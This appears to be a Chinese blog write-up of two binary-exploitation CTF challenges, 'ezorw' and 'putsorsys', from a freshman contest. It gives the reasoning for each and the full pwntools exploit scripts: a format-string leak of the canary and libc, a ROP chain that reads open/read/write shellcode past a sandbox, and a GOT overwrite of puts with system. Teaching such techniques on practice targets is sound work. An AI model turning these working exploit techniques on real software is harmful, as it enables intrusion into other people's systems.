NewStar-WEEK3-ezorw-putorsys

本文最后更新于 2024年10月23日 晚上

NewStar-WEEK3

ezorw

最近作业多,事务繁忙,好久没打题了,继续看看新生赛最新一周放出来的题。主打一个复健,不过近来的新生赛进度都好快。

开了NX和canary

image-20231016200005414

利用格式化字符串泄露出canary,然后因为题目给了libc文件,又提示是rop,本来打算用ret2libc泄露libc基地址,结果发现该程序中居然没有可以用的pop链。。Σ(っ °Д °;)っ

怎么办呢,经过思考后,突然想到,printf前的read给了那么大,还可以输出别的啊,然后就去gdb里看,发现有个__libc_start_main+123。好好好,泄露出它来,然后就有libc基地址了,可以用libc里的pop。

​ 主程序中的read结束后就可以再调用一个read,往mmap那个权限全开的地方注入shellcode的orw(因为开了沙箱)

结果–本地打通后,发现远程打不通。。

为什么呢:刚开始泄露的libc是本地的libc,偏移不一样。。。忘了这茬了。

好,改文件的libc。

完毕。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import*
context(log_level='debug',arch='amd64',os='linux')
p=process('./ezorw')
#p=remote('node4.buuoj.cn',27480)
sl = lambda s :p.sendline(s)
sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
ru = lambda s :p.recvuntil(s)
rl = lambda :p.recvline()

shell_addr = 0x66660000

sd('%11$paaa%33$p')
rl()
canary = int(p.recv(18),16)
#print(hex(canary))
rc(3)
libc_main_addr = int(rc(14),16)
libc_base = libc_main_addr + 0x7ffff7c00000 - 0x7ffff7c29e40
print(hex(libc_base))
read_plt = 0x401130
#gdb.attach(p)

libc = ELF('/home/kali/Desktop/libc.so.6')

pop_rdi = libc_base + 0x2a3e5
pop_rsi = libc_base + 0x2be51
pop_rdx_r12 = libc_base +0x11f497
'''


libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

pop_rdi = libc_base + 0x27725
pop_rsi = libc_base + 0x028ed9
pop_rdx = libc_base + 0xfdd4d

'''
code=shellcraft.open('flag')+shellcraft.read(3,'rsp',0x100)+shellcraft.write(1,'rsp',0x100)
code = asm(code)
print(len(code))

#gdb.attach(p)

payload = b"A"*(0x30-0x8)+p64(canary)*2+p64(pop_rsi)+p64(shell_addr)+p64(pop_rdx_r12)+p64(0x30)*2
#payload = b"A"*(0x30-0x8)+p64(canary)*2+p64(pop_rsi)+p64(shell_addr)+p64(pop_rdx)+p64(0x2e)
payload +=p64(read_plt)+p64(shell_addr)+b'A'*0x90+(code)
print(hex(len(payload)))
sd(payload)
#rl()
#sd(code)


p.interactive()
#那个不计算长度的话,可以在接收最后的输出后,再输入code。
#当然,也可以像脚本的一样一口气来。

putsorsys

image-20231017121138183

保护:NX和canary,以及partial relro(证明可改got表对应的值)

思路:格式化字符串泄露libc,然后用system替换掉puts_got。(其实也可以泄露canary,然后栈溢出打ret2libc)

注意:运用格式化字符串的时候要小心\x00是它的结束标志。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import*
context(log_level='debug',arch='amd64',os='linux')
#p=process('./putsorsys')
p=remote('node4.buuoj.cn',25885)
sl = lambda s :p.sendline(s)
sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
ru = lambda s :p.recvuntil(s)
rl = lambda :p.recvline()

puts_got = 0x404018
sl('1')
payload = b'%9$saaaa'+p64(puts_got)
#gdb.attach(p)
sd(payload)
puts_addr = u64(ru('\x7f')[-6:].ljust(8,b'\x00'))
#print(hex(puts_addr))
libc = ELF('/home/kali/Desktop/libc.so.6')
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base +libc.sym['system']
sl(b'1')
payload = fmtstr_payload(8,{puts_got:system_addr})
#gdb.attach(p)
sd(payload)

p.interactive()


NewStar-WEEK3-ezorw-putorsys
https://xyyr-c.github.io/2024/10/23/ezorw/
作者
xyyr
发布于
2024年10月23日
许可协议